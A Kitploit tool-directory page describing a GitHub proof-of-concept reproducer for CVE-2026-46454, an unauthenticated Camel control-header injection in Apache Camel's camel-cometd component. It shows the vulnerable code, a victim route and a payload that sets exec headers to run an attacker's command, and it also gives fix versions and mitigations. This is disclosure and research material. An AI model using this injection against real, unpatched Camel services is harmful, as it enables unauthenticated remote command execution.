Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46454 — Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-46454
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHuboscerd/cve-2026-46454

CVE-2026-46454

Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE)

View Repository
214 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    381
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    316
  • 6

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    305

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-cometd Inbound Bayeux Header Injection Reproducer (CVE-2026-46454)

This project demonstrates a message-header injection in Apache Camel's camel-cometd component, tracked as CVE-2026-46454. The component maps inbound Bayeux (CometD) message headers into the Camel Exchange without a HeaderFilterStrategy. CometdBinding.createCamelMessage copies the entire ext.CamelHeaders map supplied by the CometD client straight onto the Camel message (message.setHeaders(...)), so any header name — including Camel-internal control headers such as CamelHttpUri, CamelFileName, CamelJmsDestinationName (or, as here, the camel-exec control headers) — is accepted unmodified. Because a CometdComponent installs no Bayeux SecurityPolicy by default, any client that can complete the Bayeux handshake can publish such a message without authentication and steer downstream producers in the route.

Advisory: https://camel.apache.org/security/CVE-2026-46454.html

Vulnerability Summary

PropertyValue
Componentcamel-cometd
Affected Classorg.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: Improper Input Validation
ImpactUnauthenticated injection of Camel control headers → steer downstream producers (RCE via exec here)
Affected VersionsFrom 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
Fixed Versions4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23507
ReporterYu Bao (PayPal)

Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and CVE-2026-47323 — components mapping inbound headers into the Exchange without filtering the Camel namespace.

Technical Details

// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // reads client-supplied ext.CamelHeaders
if (headers != null) {
    message.setHeaders(headers);                                      // <-- no HeaderFilterStrategy
}

The client controls ext.CamelHeaders, so it can set any Camel control header on the Exchange. The fix (4.14.8 / 4.18.3 / 4.21.0) implements a HeaderFilterStrategy (a long-standing TODO in the code) that filters the Camel* / camel* namespace case-insensitively on inbound mapping.

The victim route

from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // route author only intends to run: echo hello

An attacker publishes to /service/inject with ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; the binding maps them onto the Exchange and the exec producer runs the attacker's command instead.

Repository layout

Self-contained: the camel-cometd consumer runs an embedded Bayeux server (port 8088) inside the app, and the /exploit/attack endpoint acts as the unauthenticated CometD client.

CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
    └── resources/
        └── application.properties

Prerequisites

  • Java 17+ and Maven 3.8+
  • Docker (runs the reproducer)

Reproduction Steps

Step 1: Build and start the container

mvn clean package -DskipTests
docker compose up -d --build

Step 2: Trigger the header injection (RCE)

curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

Step 3: Verify

docker exec cve-2026-46454 ls -la /tmp/pwned

Cleanup

docker compose down

Attack Vectors

Any route with a camel-cometd consumer feeding a downstream producer whose behaviour is controlled by Camel headers — an HTTP producer (CamelHttpUri), a file producer (CamelFileName), a JMS producer (CamelJmsDestinationName), an exec producer (CamelExecCommand*), etc. Any client that can handshake against the Bayeux endpoint can inject them; no authentication is required by default. The injected headers persist across internal direct, seda and vm hops.

Exploit Conditions

  1. A camel-cometd consumer on an affected version, routed to a header-controllable producer.
  2. No Bayeux SecurityPolicy on the CometdComponent (the default), so any client can publish.

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), which adds a HeaderFilterStrategy to the cometd binding that blocks client-supplied Camel* / camel* headers on inbound mapping.

Mitigation

Until upgrading:

  1. Strip Camel control headers at the start of the route: .removeHeaders("Camel*") and .removeHeaders("camel*").
  2. Install an explicit Bayeux SecurityPolicy on the CometdComponent so only authenticated clients can publish.

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

Download Tool